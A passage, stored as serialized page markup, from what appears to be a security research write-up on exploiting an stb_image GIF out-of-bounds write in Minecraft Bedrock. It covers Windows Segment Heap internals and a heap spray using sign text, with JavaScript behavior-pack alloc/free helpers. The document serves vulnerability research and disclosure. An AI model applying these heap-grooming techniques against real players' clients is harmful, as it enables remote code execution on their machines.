"type":28,"value":32265},{"type":23,"tag":24,"props":146884,"children":146885},{},[146886,146887,146892,146894,146899,146901,146906],{"type":28,"value":21525},{"type":23,"tag":64,"props":146888,"children":146890},{"className":146889},[],[146891],{"type":28,"value":146243},{"type":28,"value":146893}," has to set the last byte to ",{"type":23,"tag":64,"props":146895,"children":146897},{"className":146896},[],[146898],{"type":28,"value":110875},{"type":28,"value":146900}," in order for the four-byte OOB write to happen, meaning we can control the first three bytes of the overflow while the last byte will always be ",{"type":23,"tag":64,"props":146902,"children":146904},{"className":146903},[],[146905],{"type":28,"value":110875},{"type":28,"value":199},{"type":23,"tag":24,"props":146908,"children":146909},{},[146910,146912,146917,146919,146925,146926,146932],{"type":28,"value":146911},"In the code we can see that size of the ",{"type":23,"tag":64,"props":146913,"children":146915},{"className":146914},[],[146916],{"type":28,"value":145700},{"type":28,"value":146918}," allocation is controlled through ",{"type":23,"tag":64,"props":146920,"children":146922},{"className":146921},[],[146923],{"type":28,"value":146924},"g->w",{"type":28,"value":8478},{"type":23,"tag":64,"props":146927,"children":146929},{"className":146928},[],[146930],{"type":28,"value":146931},"g->h",{"type":28,"value":146933}," values, both of which are read from the input file itself:",{"type":23,"tag":435,"props":146935,"children":146937},{"code":146936,"language":661,"meta":7,"className":14005,"style":7},"static stbi_uc *stbi__gif_load_next(...)\n{\n [...]\n if (g->out == 0) {\n if (!stbi__gif_header(s, g, comp,0)) return 0;\n g->out = (stbi_uc *) stbi__malloc(4 * g->w * g->h);\n",[146938],{"type":23,"tag":64,"props":146939,"children":146940},{"__ignoreMap":7},[146941,146966,146973,146980,147015,147061],{"type":23,"tag":481,"props":146942,"children":146943},{"class":483,"line":484},[146944,146948,146953,146957,146961],{"type":23,"tag":481,"props":146945,"children":146946},{"style":497},[146947],{"type":28,"value":48570},{"type":23,"tag":481,"props":146949,"children":146950},{"style":525},[146951],{"type":28,"value":146952}," stbi_uc ",{"type":23,"tag":481,"props":146954,"children":146955},{"style":514},[146956],{"type":28,"value":2120},{"type":23,"tag":481,"props":146958,"children":146959},{"style":610},[146960],{"type":28,"value":144879},{"type":23,"tag":481,"props":146962,"children":146963},{"style":525},[146964],{"type":28,"value":146965},"(...)\n",{"type":23,"tag":481,"props":146967,"children":146968},{"class":483,"line":351},[146969],{"type":23,"tag":481,"props":146970,"children":146971},{"style":525},[146972],{"type":28,"value":8366},{"type":23,"tag":481,"props":146974,"children":146975},{"class":483,"line":531},[146976],{"type":23,"tag":481,"props":146977,"children":146978},{"style":525},[146979],{"type":28,"value":145441},{"type":23,"tag":481,"props":146981,"children":146982},{"class":483,"line":567},[146983,146987,146991,146995,146999,147003,147007,147011],{"type":23,"tag":481,"props":146984,"children":146985},{"style":535},[146986],{"type":28,"value":50170},{"type":23,"tag":481,"props":146988,"children":146989},{"style":525},[146990],{"type":28,"value":578},{"type":23,"tag":481,"props":146992,"children":146993},{"style":508},[146994],{"type":28,"value":106830},{"type":23,"tag":481,"props":146996,"children":146997},{"style":525},[146998],{"type":28,"value":11245},{"type":23,"tag":481,"props":147000,"children":147001},{"style":508},[147002],{"type":28,"value":116253},{"type":23,"tag":481,"props":147004,"children":147005},{"style":514},[147006],{"type":28,"value":800},{"type":23,"tag":481,"props":147008,"children":147009},{"style":551},[147010],{"type":28,"value":554},{"type":23,"tag":481,"props":147012,"children":147013},{"style":525},[147014],{"type":28,"value":12292},{"type":23,"tag":481,"props":147016,"children":147017},{"class":483,"line":678},[147018,147022,147026,147030,147035,147040,147044,147049,147053,147057],{"type":23,"tag":481,"props":147019,"children":147020},{"style":535},[147021],{"type":28,"value":36805},{"type":23,"tag":481,"props":147023,"children":147024},{"style":525},[147025],{"type":28,"value":578},{"type":23,"tag":481,"props":147027,"children":147028},{"style":514},[147029],{"type":28,"value":18119},{"type":23,"tag":481,"props":147031,"children":147032},{"style":610},[147033],{"type":28,"value":147034},"stbi__gif_header",{"type":23,"tag":481,"props":147036,"children":147037},{"style":525},[147038],{"type":28,"value":147039},"(s, g, comp,",{"type":23,"tag":481,"props":147041,"children":147042},{"style":551},[147043],{"type":28,"value":1568},{"type":23,"tag":481,"props":147045,"children":147046},{"style":525},[147047],{"type":28,"value":147048},")) ",{"type":23,"tag":481,"props":147050,"children":147051},{"style":535},[147052],{"type":28,"value":45982},{"type":23,"tag":481,"props":147054,"children":147055},{"style":551},[147056],{"type":28,"value":554},{"type":23,"tag":481,"props":147058,"children":147059},{"style":525},[147060],{"type":28,"value":528},{"type":23,"tag":481,"props":147062,"children":147063},{"class":483,"line":784},[147064,147069,147073,147077,147081,147086,147090,147094,147099,147103,147107,147111,147115,147119,147123,147127,147131,147135,147139],{"type":23,"tag":481,"props":147065,"children":147066},{"style":508},[147067],{"type":28,"value":147068}," g",{"type":23,"tag":481,"props":147070,"children":147071},{"style":525},[147072],{"type":28,"value":11245},{"type":23,"tag":481,"props":147074,"children":147075},{"style":508},[147076],{"type":28,"value":116253},{"type":23,"tag":481,"props":147078,"children":147079},{"style":514},[147080],{"type":28,"value":517},{"type":23,"tag":481,"props":147082,"children":147083},{"style":525},[147084],{"type":28,"value":147085}," (stbi_uc ",{"type":23,"tag":481,"props":147087,"children":147088},{"style":514},[147089],{"type":28,"value":2120},{"type":23,"tag":481,"props":147091,"children":147092},{"style":525},[147093],{"type":28,"value":598},{"type":23,"tag":481,"props":147095,"children":147096},{"style":610},[147097],{"type":28,"value":147098},"stbi__malloc",{"type":23,"tag":481,"props":147100,"children":147101},{"style":525},[147102],{"type":28,"value":618},{"type":23,"tag":481,"props":147104,"children":147105},{"style":551},[147106],{"type":28,"value":15021},{"type":23,"tag":481,"props":147108,"children":147109},{"style":514},[147110],{"type":28,"value":7301},{"type":23,"tag":481,"props":147112,"children":147113},{"style":508},[147114],{"type":28,"value":145481},{"type":23,"tag":481,"props":147116,"children":147117},{"style":525},[147118],{"type":28,"value":11245},{"type":23,"tag":481,"props":147120,"children":147121},{"style":508},[147122],{"type":28,"value":47097},{"type":23,"tag":481,"props":147124,"children":147125},{"style":514},[147126],{"type":28,"value":7301},{"type":23,"tag":481,"props":147128,"children":147129},{"style":508},[147130],{"type":28,"value":145481},{"type":23,"tag":481,"props":147132,"children":147133},{"style":525},[147134],{"type":28,"value":11245},{"type":23,"tag":481,"props":147136,"children":147137},{"style":508},[147138],{"type":28,"value":81877},{"type":23,"tag":481,"props":147140,"children":147141},{"style":525},[147142],{"type":28,"value":1366},{"type":23,"tag":24,"props":147144,"children":147145},{},[147146,147148,147153,147155,147160],{"type":28,"value":147147},"And lastly, to figure out where the OOB bytes are written relative to the allocated buffer, we printed out the address range of ",{"type":23,"tag":64,"props":147149,"children":147151},{"className":147150},[],[147152],{"type":28,"value":145700},{"type":28,"value":147154}," and the value of ",{"type":23,"tag":64,"props":147156,"children":147158},{"className":147157},[],[147159],{"type":28,"value":24},{"type":28,"value":147161}," just before the OOB write happens:",{"type":23,"tag":435,"props":147163,"children":147165},{"code":147164},"g->out address range: [0x75d00d114800, 0x75d00d135800)\n[...]\np: 0x75d00d135800\n",[147166],{"type":23,"tag":64,"props":147167,"children":147168},{"__ignoreMap":7},[147169],{"type":28,"value":147164},{"type":23,"tag":24,"props":147171,"children":147172},{},[147173,147175,147180,147182,147187],{"type":28,"value":147174},"There are multiple within-bound writes to ",{"type":23,"tag":64,"props":147176,"children":147178},{"className":147177},[],[147179],{"type":28,"value":24},{"type":28,"value":147181},", but the last write happens just after the ",{"type":23,"tag":64,"props":147183,"children":147185},{"className":147184},[],[147186],{"type":28,"value":145700},{"type":28,"value":147188}," allocation.",{"type":23,"tag":7092,"props":147190,"children":147192},{"id":147191},"summarizing-the-corruption",[147193],{"type":28,"value":147194},"Summarizing the Corruption",{"type":23,"tag":14178,"props":147196,"children":147197},{},[147198,147211,147239],{"type":23,"tag":77,"props":147199,"children":147200},{},[147201,147203,147209],{"type":28,"value":147202},"A single ",{"type":23,"tag":64,"props":147204,"children":147206},{"className":147205},[],[147207],{"type":28,"value":147208},"0x01",{"type":28,"value":147210}," byte write OOB",{"type":23,"tag":77,"props":147212,"children":147213},{},[147214,147216],{"type":28,"value":147215},"4-byte OOB write just above the allocated buffer\n",{"type":23,"tag":14178,"props":147217,"children":147218},{},[147219,147224,147234],{"type":23,"tag":77,"props":147220,"children":147221},{},[147222],{"type":28,"value":147223},"First three bytes are controllable",{"type":23,"tag":77,"props":147225,"children":147226},{},[147227,147229],{"type":28,"value":147228},"Last byte will be ",{"type":23,"tag":64,"props":147230,"children":147232},{"className":147231},[],[147233],{"type":28,"value":110875},{"type":23,"tag":77,"props":147235,"children":147236},{},[147237],{"type":28,"value":147238},"Size of the allocation is controlled",{"type":23,"tag":77,"props":147240,"children":147241},{},[147242,147244],{"type":28,"value":147243},"Both corruptions are done on a short-lived allocation\n",{"type":23,"tag":14178,"props":147245,"children":147246},{},[147247,147252],{"type":23,"tag":77,"props":147248,"children":147249},{},[147250],{"type":28,"value":147251},"Allocated just before the image-parsing process",{"type":23,"tag":77,"props":147253,"children":147254},{},[147255],{"type":28,"value":147256},"Freed immediately upon parsing completion",{"type":23,"tag":16288,"props":147258,"children":147259},{},[],{"type":23,"tag":24,"props":147261,"children":147262},{},[147263,147265,147272,147274,147281],{"type":28,"value":147264},"Note that this bug was already found before (",{"type":23,"tag":190,"props":147266,"children":147269},{"href":147267,"rel":147268},"https://github.com/nothings/stb/issues/656",[194],[147270],{"type":28,"value":147271},"Github Issue",{"type":28,"value":147273},") but we missed it at the time. It was later fixed in ",{"type":23,"tag":190,"props":147275,"children":147278},{"href":147276,"rel":147277},"https://github.com/nothings/stb/commit/50b1bfba583b12ceb23ef949567bdd914461e524",[194],[147279],{"type":28,"value":147280},"this commit",{"type":28,"value":199},{"type":23,"tag":31,"props":147283,"children":147284},{"id":54},[147285],{"type":28,"value":57},{"type":23,"tag":24,"props":147287,"children":147288},{},[147289],{"type":28,"value":147290},"The memory corruption we had wasn't the easiest to exploit, especially on a remote target with ASLR, but it was the only one we had. We could've looked for another bug for information leaks but that wasn't interesting enough - we wanted to see if we can get RCE from the 4-byte memory corruption alone.",{"type":23,"tag":24,"props":147292,"children":147293},{},[147294],{"type":28,"value":147295},"Obviously four bytes alone aren't enough to get remote code execution in this case, so we looked for ways to turn the overflow into stronger primitives.",{"type":23,"tag":7092,"props":147297,"children":147299},{"id":147298},"searching-for-better-primitives",[147300],{"type":28,"value":147301},"Searching for Better Primitives",{"type":23,"tag":24,"props":147303,"children":147304},{},[147305],{"type":28,"value":147306},"The initial idea was to use the 4‑byte OOB to overflow into adjacent heap chunk headers and attack the allocator, but we weren't familiar with Windows allocator internals at the time, so we started investigating.",{"type":23,"tag":24,"props":147308,"children":147309},{},[147310,147312,147319],{"type":28,"value":147311},"We realized that Minecraft uses the Segment Heap - Microsoft's newer heap implementation that is used by the kernel and is the default for packaged / ",{"type":23,"tag":190,"props":147313,"children":147316},{"href":147314,"rel":147315},"https://learn.microsoft.com/en-us/windows/uwp/get-started/universal-application-platform-guide",[194],[147317],{"type":28,"value":147318},"UWP",{"type":28,"value":147320}," applications (such as Minecraft Bedrock Edition).",{"type":23,"tag":7092,"props":147322,"children":147324},{"id":147323},"segment-heap",[147325],{"type":28,"value":147326},"Segment Heap",{"type":23,"tag":24,"props":147328,"children":147329},{},[147330,147332,147339],{"type":28,"value":147331},"The internals of this heap implementation have been explored a number of times before (for an example in ",{"type":23,"tag":190,"props":147333,"children":147336},{"href":147334,"rel":147335},"https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Windows-Heap-Backed-Pool-The-Good-The-Bad-And-The-Encoded.pdf",[194],[147337],{"type":28,"value":147338},"this talk",{"type":28,"value":147340}," by Yarden Shafir), so we'll just summarize the two subsegment types relevant to this writeup.",{"type":23,"tag":16388,"props":147342,"children":147344},{"id":147343},"low-fragmentation-heap",[147345],{"type":28,"value":147346},"Low Fragmentation Heap",{"type":23,"tag":24,"props":147348,"children":147349},{},[147350,147352,147358],{"type":28,"value":147351},"Low Fragmentation Heap (LFH) services allocations of ",{"type":23,"tag":64,"props":147353,"children":147355},{"className":147354},[],[147356],{"type":28,"value":147357},"0x3ff0",{"type":28,"value":147359}," bytes or less when LFH for that size is enabled. LFH for a given size becomes enabled after 17 consecutive allocations of that size.",{"type":23,"tag":24,"props":147361,"children":147362},{},[147363],{"type":28,"value":147364},"Most importantly for us, chunks allocated in this subsegment do not have per‑chunk headers, and data from two adjacent chunks in LFH is not separated by allocator metadata.",{"type":23,"tag":435,"props":147366,"children":147368},{"code":147367}," +-------------------------+\nChunk A ----->| 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n +-------------------------+\nChunk B ----->| 42 42 42 42 42 42 42 42 |\n | |\n | 42 42 42 42 42 42 42 42 |\n | |\n | 42 42 42 42 42 42 . . . |\n | |\n",[147369],{"type":23,"tag":64,"props":147370,"children":147371},{"__ignoreMap":7},[147372],{"type":28,"value":147367},{"type":23,"tag":24,"props":147374,"children":147375},{},[147376],{"type":28,"value":147377},"This means that the 4‑byte OOB write could overwrite the first four bytes of the next chunk above, allowing us to target heap‑allocated internal structures in Minecraft instead of the allocator - the idea being that we could find a structure that has the first field either a reference count or a length field (for example) which we could directly corrupt with the overflow.",{"type":23,"tag":16388,"props":147379,"children":147381},{"id":147380},"variable-size",[147382],{"type":28,"value":147383},"Variable Size",{"type":23,"tag":24,"props":147385,"children":147386},{},[147387,147389,147395,147397,147403],{"type":28,"value":147388},"This subsegment is used for allocation sizes from ",{"type":23,"tag":64,"props":147390,"children":147392},{"className":147391},[],[147393],{"type":28,"value":147394},"0x4000",{"type":28,"value":147396}," and up to ",{"type":23,"tag":64,"props":147398,"children":147400},{"className":147399},[],[147401],{"type":28,"value":147402},"0x20_000",{"type":28,"value":147404},". Unlike LFH, the allocator will store chunk metadata in the headers of the allocated block.",{"type":23,"tag":435,"props":147406,"children":147408},{"code":147407}," +-------------------------+\n Chunk A ----->| HEAP_VS_CHUNK_HEADER |\n +-------------------------+\nChunk A Data ------------>| 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n +-------------------------+\n Chunk B ----->| HEAP_VS_CHUNK_HEADER |\n +-------------------------+\nChunk B Data ------------>| 42 42 42 42 42 42 42 42 |\n | |\n | 42 42 42 42 42 42 42 42 |\n | |\n | 42 42 42 42 42 42 . . . |\n | |\n",[147409],{"type":23,"tag":64,"props":147410,"children":147411},{"__ignoreMap":7},[147412],{"type":28,"value":147407},{"type":23,"tag":24,"props":147414,"children":147415},{},[147416,147418,147424],{"type":28,"value":147417},"The header, ",{"type":23,"tag":64,"props":147419,"children":147421},{"className":147420},[],[147422],{"type":28,"value":147423},"HEAP_VS_CHUNK_HEADER",{"type":28,"value":147425},", contains information such as block size and allocation status. Crucially, this header is XORed with a secret heap key. That encoding means that, unless the heap key is leaked, faking a chunk header with an overflow is not deterministic.",{"type":23,"tag":16288,"props":147427,"children":147428},{},[],{"type":23,"tag":24,"props":147430,"children":147431},{},[147432],{"type":28,"value":147433},"At this point there were two paths to explore: use the 4‑byte overflow in LFH to target Minecraft structures, or use the overflow in VS to target the allocator.",{"type":23,"tag":24,"props":147435,"children":147436},{},[147437,147439,147446],{"type":28,"value":147438},"Targeting the allocator looked difficult because the VS chunk header is encoded. Fortunately, a ",{"type":23,"tag":190,"props":147440,"children":147443},{"href":147441,"rel":147442},"https://web.archive.org/web/20250117163016/https://labs.bluefrostsecurity.de/blog.html/2022/08/16/windows-segment-heap-attacking-the-vs-allocator/",[194],[147444],{"type":28,"value":147445},"technique published",{"type":28,"value":147447}," by Blue Frost Security describes how to abuse a 3–4 byte overflow in the VS heap to reliably produce overlapping chunks.",{"type":23,"tag":24,"props":147449,"children":147450},{},[147451],{"type":28,"value":147452},"To target Minecraft structures in LFH, we needed to find a heap‑allocated object whose first field could be forged with four bytes (or less) - candidates included a reference counter or a length field. Overwriting such a field could yield a useful primitive (e.g., a use‑after‑free from a corrupted refcount, or a larger overflow / OOB read by corrupting a length field).",{"type":23,"tag":24,"props":147454,"children":147455},{},[147456],{"type":28,"value":147457},"In either case, we needed a way to spray the heap before we could proceed.",{"type":23,"tag":7092,"props":147459,"children":147461},{"id":147460},"finding-a-way-to-spray-the-heap",[147462],{"type":28,"value":147463},"Finding a Way to Spray the Heap",{"type":23,"tag":24,"props":147465,"children":147466},{},[147467],{"type":28,"value":147468},"We needed to find an object that the client allocates in response to a server-controlled action. Ideally, the server would be able to control:",{"type":23,"tag":14178,"props":147470,"children":147471},{},[147472,147477,147482,147487],{"type":23,"tag":77,"props":147473,"children":147474},{},[147475],{"type":28,"value":147476},"The size of the allocation",{"type":23,"tag":77,"props":147478,"children":147479},{},[147480],{"type":28,"value":147481},"The data written into the allocated buffer",{"type":23,"tag":77,"props":147483,"children":147484},{},[147485],{"type":28,"value":147486},"The allocation’s lifetime (i.e., allocated and freed through different server actions)",{"type":23,"tag":77,"props":147488,"children":147489},{},[147490],{"type":28,"value":147491},"The number of created objects (preferably unbounded)",{"type":23,"tag":24,"props":147493,"children":147494},{},[147495],{"type":28,"value":147496},"Not all of these conditions are strictly required, but an object satisfying all of them would be perfect for heap spraying. Eventually, we found exactly what we were looking for.",{"type":23,"tag":16388,"props":147498,"children":147500},{"id":147499},"minecraft-signs",[147501],{"type":28,"value":147502},"Minecraft Signs",{"type":23,"tag":24,"props":147504,"children":147505},{},[147506],{"type":28,"value":147507},"A sign is a block in Minecraft that can display arbitrary text. There is effectively no limit to how many signs can exist in a world (aside from resource constraints), and their lifetime is fully controllable: creating a sign results in an allocation, and removing it frees the associated memory.",{"type":23,"tag":24,"props":147509,"children":147510},{},[147511,147513,147519],{"type":28,"value":147512},"What we were specifically interested in was how the client stores the text displayed on a sign. After reversing the client, we found that the text is stored in a ",{"type":23,"tag":64,"props":147514,"children":147516},{"className":147515},[],[147517],{"type":28,"value":147518},"std::string",{"type":28,"value":199},{"type":23,"tag":24,"props":147521,"children":147522},{},[147523,147525,147530],{"type":28,"value":147524},"In Microsoft’s C++ implementation, ",{"type":23,"tag":64,"props":147526,"children":147528},{"className":147527},[],[147529],{"type":28,"value":147518},{"type":28,"value":147531}," is structured roughly as follows:",{"type":23,"tag":435,"props":147533,"children":147535},{"code":147534,"language":661,"meta":7,"className":14005,"style":7},"struct string\n{\n union {\n char* ptr;\n char buf[16];\n };\n size_t size;\n size_t capacity;\n};\n",[147536],{"type":23,"tag":64,"props":147537,"children":147538},{"__ignoreMap":7},[147539,147550,147557,147569,147585,147609,147616,147627,147639],{"type":23,"tag":481,"props":147540,"children":147541},{"class":483,"line":484},[147542,147546],{"type":23,"tag":481,"props":147543,"children":147544},{"style":497},[147545],{"type":28,"value":6884},{"type":23,"tag":481,"props":147547,"children":147548},{"style":525},[147549],{"type":28,"value":82576},{"type":23,"tag":481,"props":147551,"children":147552},{"class":483,"line":351},[147553],{"type":23,"tag":481,"props":147554,"children":147555},{"style":525},[147556],{"type":28,"value":8366},{"type":23,"tag":481,"props":147558,"children":147559},{"class":483,"line":531},[147560,147565],{"type":23,"tag":481,"props":147561,"children":147562},{"style":497},[147563],{"type":28,"value":147564}," union",{"type":23,"tag":481,"props":147566,"children":147567},{"style":525},[147568],{"type":28,"value":809},{"type":23,"tag":481,"props":147570,"children":147571},{"class":483,"line":567},[147572,147577,147581],{"type":23,"tag":481,"props":147573,"children":147574},{"style":497},[147575],{"type":28,"value":147576}," char",{"type":23,"tag":481,"props":147578,"children":147579},{"style":514},[147580],{"type":28,"value":2120},{"type":23,"tag":481,"props":147582,"children":147583},{"style":525},[147584],{"type":28,"value":14047},{"type":23,"tag":481,"props":147586,"children":147587},{"class":483,"line":678},[147588,147592,147597,147601,147605],{"type":23,"tag":481,"props":147589,"children":147590},{"style":497},[147591],{"type":28,"value":147576},{"type":23,"tag":481,"props":147593,"children":147594},{"style":508},[147595],{"type":28,"value":147596}," buf",{"type":23,"tag":481,"props":147598,"children":147599},{"style":525},[147600],{"type":28,"value":1269},{"type":23,"tag":481,"props":147602,"children":147603},{"style":551},[147604],{"type":28,"value":38366},{"type":23,"tag":481,"props":147606,"children":147607},{"style":525},[147608],{"type":28,"value":29089},{"type":23,"tag":481,"props":147610,"children":147611},{"class":483,"line":784},[147612],{"type":23,"tag":481,"props":147613,"children":147614},{"style":525},[147615],{"type":28,"value":36515},{"type":23,"tag":481,"props":147617,"children":147618},{"class":483,"line":812},[147619,147623],{"type":23,"tag":481,"props":147620,"children":147621},{"style":497},[147622],{"type":28,"value":14055},{"type":23,"tag":481,"props":147624,"children":147625},{"style":525},[147626],{"type":28,"value":122134},{"type":23,"tag":481,"props":147628,"children":147629},{"class":483,"line":825},[147630,147634],{"type":23,"tag":481,"props":147631,"children":147632},{"style":497},[147633],{"type":28,"value":14055},{"type":23,"tag":481,"props":147635,"children":147636},{"style":525},[147637],{"type":28,"value":147638}," capacity;\n",{"type":23,"tag":481,"props":147640,"children":147641},{"class":483,"line":843},[147642],{"type":23,"tag":481,"props":147643,"children":147644},{"style":525},[147645],{"type":28,"value":14068},{"type":23,"tag":24,"props":147647,"children":147648},{},[147649,147651,147657,147659,147664],{"type":28,"value":147650},"We are primarily interested in the union: ",{"type":23,"tag":64,"props":147652,"children":147654},{"className":147653},[],[147655],{"type":28,"value":147656},"buf",{"type":28,"value":147658}," is used when the string fits within 16 bytes, while ",{"type":23,"tag":64,"props":147660,"children":147662},{"className":147661},[],[147663],{"type":28,"value":11437},{"type":28,"value":147665}," points to a heap-allocated buffer if the string exceeds that size. The allocated buffer contains only the string’s raw bytes.",{"type":23,"tag":24,"props":147667,"children":147668},{},[147669],{"type":28,"value":147670},"This means that for each sign whose text is longer than 16 bytes, the client allocates a heap buffer equal to the string length.",{"type":23,"tag":24,"props":147672,"children":147673},{},[147674],{"type":28,"value":147675},"This makes signs perfect for our needs - we can fully control the allocation size, lifetime, and contents of the heap buffer.",{"type":23,"tag":16388,"props":147677,"children":147679},{"id":147678},"spraying-with-server-side-scripting",[147680],{"type":28,"value":147681},"Spraying With Server-Side Scripting",{"type":23,"tag":24,"props":147683,"children":147684},{},[147685],{"type":28,"value":147686},"The simplest way to automatically manipulate the world is through server-side behavior packs. These packs are written in JavaScript and can control many aspects of the server.",{"type":23,"tag":24,"props":147688,"children":147689},{},[147690,147692,147698,147699,147705],{"type":28,"value":147691},"We wrote ",{"type":23,"tag":64,"props":147693,"children":147695},{"className":147694},[],[147696],{"type":28,"value":147697},"alloc",{"type":28,"value":8478},{"type":23,"tag":64,"props":147700,"children":147702},{"className":147701},[],[147703],{"type":28,"value":147704},"free",{"type":28,"value":147706}," helpers that trigger an allocation in the client and free it on demand:",{"type":23,"tag":435,"props":147708,"children":147710},{"code":147709,"language":33133,"meta":7,"className":33131,"style":7},"// Allocate sign text in the client\nfunction alloc(size, fill=\"A\") {\n for (let sign of signs) {\n if (sign.allocated || sign.removed) {\n continue;\n }\n\n sign.sign.setText(fill.repeat(size - 1));\n sign.allocated = true;\n return sign;\n }\n\n console.warn(\"No more allocs\");\n return undefined;\n}\n\n// Free an allocated sign in the client\nfunction free(sign) {\n if (sign == undefined || sign.allocated == false) {\n return;\n }\n\n sign.sign.setText(\"\");\n sign.allocated = false;\n\n sign.block.setPermutation(\n BlockPermutation.resolve(\"minecraft:air\")\n );\n sign.removed = true;\n}\n",[147711],{"type":23,"tag":64,"props":147712,"children":147713},{"__ignoreMap":7},[147714,147722,147764,147797,147842,147854,147861,147868,147929,147956,147971,147978,147985,148014,148029,148036,148043,148051,148075,148126,148137,148144,148151,148188,148215,148222,148251,148281,148288,148315],{"type":23,"tag":481,"props":147715,"children":147716},{"class":483,"line":484},[147717],{"type":23,"tag":481,"props":147718,"children":147719},{"style":488},[147720],{"type":28,"value":147721},"// Allocate sign text in the client\n",{"type":23,"tag":481,"props":147723,"children":147724},{"class":483,"line":351},[147725,147729,147734,147738,147742,147746,147751,147755,147760],{"type":23,"tag":481,"props":147726,"children":147727},{"style":497},[147728],{"type":28,"value":28892},{"type":23,"tag":481,"props":147730,"children":147731},{"style":610},[147732],{"type":28,"value":147733}," alloc",{"type":23,"tag":481,"props":147735,"children":147736},{"style":525},[147737],{"type":28,"value":618},{"type":23,"tag":481,"props":147739,"children":147740},{"style":508},[147741],{"type":28,"value":121792},{"type":23,"tag":481,"props":147743,"children":147744},{"style":525},[147745],{"type":28,"value":588},{"type":23,"tag":481,"props":147747,"children":147748},{"style":508},[147749],{"type":28,"value":147750},"fill",{"type":23,"tag":481,"props":147752,"children":147753},{"style":514},[147754],{"type":28,"value":603},{"type":23,"tag":481,"props":147756,"children":147757},{"style":1805},[147758],{"type":28,"value":147759},"\"A\"",{"type":23,"tag":481,"props":147761,"children":147762},{"style":525},[147763],{"type":28,"value":12292},{"type":23,"tag":481,"props":147765,"children":147766},{"class":483,"line":531},[147767,147771,147775,147779,147784,147788,147793],{"type":23,"tag":481,"props":147768,"children":147769},{"style":535},[147770],{"type":28,"value":538},{"type":23,"tag":481,"props":147772,"children":147773},{"style":525},[147774],{"type":28,"value":578},{"type":23,"tag":481,"props":147776,"children":147777},{"style":497},[147778],{"type":28,"value":9274},{"type":23,"tag":481,"props":147780,"children":147781},{"style":508},[147782],{"type":28,"value":147783}," sign",{"type":23,"tag":481,"props":147785,"children":147786},{"style":497},[147787],{"type":28,"value":7848},{"type":23,"tag":481,"props":147789,"children":147790},{"style":508},[147791],{"type":28,"value":147792}," signs",{"type":23,"tag":481,"props":147794,"children":147795},{"style":525},[147796],{"type":28,"value":12292},{"type":23,"tag":481,"props":147798,"children":147799},{"class":483,"line":567},[147800,147804,147808,147813,147817,147822,147826,147830,147834,147838],{"type":23,"tag":481,"props":147801,"children":147802},{"style":535},[147803],{"type":28,"value":790},{"type":23,"tag":481,"props":147805,"children":147806},{"style":525},[147807],{"type":28,"value":578},{"type":23,"tag":481,"props":147809,"children":147810},{"style":508},[147811],{"type":28,"value":147812},"sign",{"type":23,"tag":481,"props":147814,"children":147815},{"style":525},[147816],{"type":28,"value":199},{"type":23,"tag":481,"props":147818,"children":147819},{"style":508},[147820],{"type":28,"value":147821},"allocated",{"type":23,"tag":481,"props":147823,"children":147824},{"style":514},[147825],{"type":28,"value":21207},{"type":23,"tag":481,"props":147827,"children":147828},{"style":508},[147829],{"type":28,"value":147783},{"type":23,"tag":481,"props":147831,"children":147832},{"style":525},[147833],{"type":28,"value":199},{"type":23,"tag":481,"props":147835,"children":147836},{"style":508},[147837],{"type":28,"value":130497},{"type":23,"tag":481,"props":147839,"children":147840},{"style":525},[147841],{"type":28,"value":12292},{"type":23,"tag":481,"props":147843,"children":147844},{"class":483,"line":678},[147845,147850],{"type":23,"tag":481,"props":147846,"children":147847},{"style":535},[147848],{"type":28,"value":147849}," continue",{"type":23,"tag":481,"props":147851,"children":147852},{"style":525},[147853],{"type":28,"value":528},{"type":23,"tag":481,"props":147855,"children":147856},{"class":483,"line":784},[147857],{"type":23,"tag":481,"props":147858,"children":147859},{"style":525},[147860],{"type":28,"value":870},{"type":23,"tag":481,"props":147862,"children":147863},{"class":483,"line":812},[147864],{"type":23,"tag":481,"props":147865,"children":147866},{"emptyLinePlaceholder":15},[147867],{"type":28,"value":1210},{"type":23,"tag":481,"props":147869,"children":147870},{"class":483,"line":825},[147871,147876,147880,147884,147888,147893,147897,147901,147905,147909,147913,147917,147921,147925],{"type":23,"tag":481,"props":147872,"children":147873},{"style":508},[147874],{"type":28,"value":147875}," sign",{"type":23,"tag":481,"props":147877,"children":147878},{"style":525},[147879],{"type":28,"value":199},{"type":23,"tag":481,"props":147881,"children":147882},{"style":508},[147883],{"type":28,"value":147812},{"type":23,"tag":481,"props":147885,"children":147886},{"style":525},[147887],{"type":28,"value":199},{"type":23,"tag":481,"props":147889,"children":147890},{"style":610},[147891],{"type":28,"value":147892},"setText",{"type":23,"tag":481,"props":147894,"children":147895},{"style":525},[147896],{"type":28,"value":618},{"type":23,"tag":481,"props":147898,"children":147899},{"style":508},[147900],{"type":28,"value":147750},{"type":23,"tag":481,"props":147902,"children":147903},{"style":525},[147904],{"type":28,"value":199},{"type":23,"tag":481,"props":147906,"children":147907},{"style":610},[147908],{"type":28,"value":130747},{"type":23,"tag":481,"props":147910,"children":147911},{"style":525},[147912],{"type":28,"value":618},{"type":23,"tag":481,"props":147914,"children":147915},{"style":508},[147916],{"type":28,"value":121792},{"type":23,"tag":481,"props":147918,"children":147919},{"style":514},[147920],{"type":28,"value":48781},{"type":23,"tag":481,"props":147922,"children":147923},{"style":551},[147924],{"type":28,"value":2072},{"type":23,"tag":481,"props":147926,"children":147927},{"style":525},[147928],{"type":28,"value":4701},{"type":23,"tag":481,"props":147930,"children":147931},{"class":483,"line":843},[147932,147936,147940,147944,147948,147952],{"type":23,"tag":481,"props":147933,"children":147934},{"style":508},[147935],{"type":28,"value":147875},{"type":23,"tag":481,"props":147937,"children":147938},{"style":525},[147939],{"type":28,"value":199},{"type":23,"tag":481,"props":147941,"children":147942},{"style":508},[147943],{"type":28,"value":147821},{"type":23,"tag":481,"props":147945,"children":147946},{"style":514},[147947],{"type":28,"value":517},{"type":23,"tag":481,"props":147949,"children":147950},{"style":497},[147951],{"type":28,"value":9956},{"type":23,"tag":481,"props":147953,"children":147954},{"style":525},[147955],{"type":28,"value":528},{"type":23,"tag":481,"props":147957,"children":147958},{"class":483,"line":864},[147959,147963,147967],{"type":23,"tag":481,"props":147960,"children":147961},{"style":535},[147962],{"type":28,"value":13234},{"type":23,"tag":481,"props":147964,"children":147965},{"style":508},[147966],{"type":28,"value":147783},{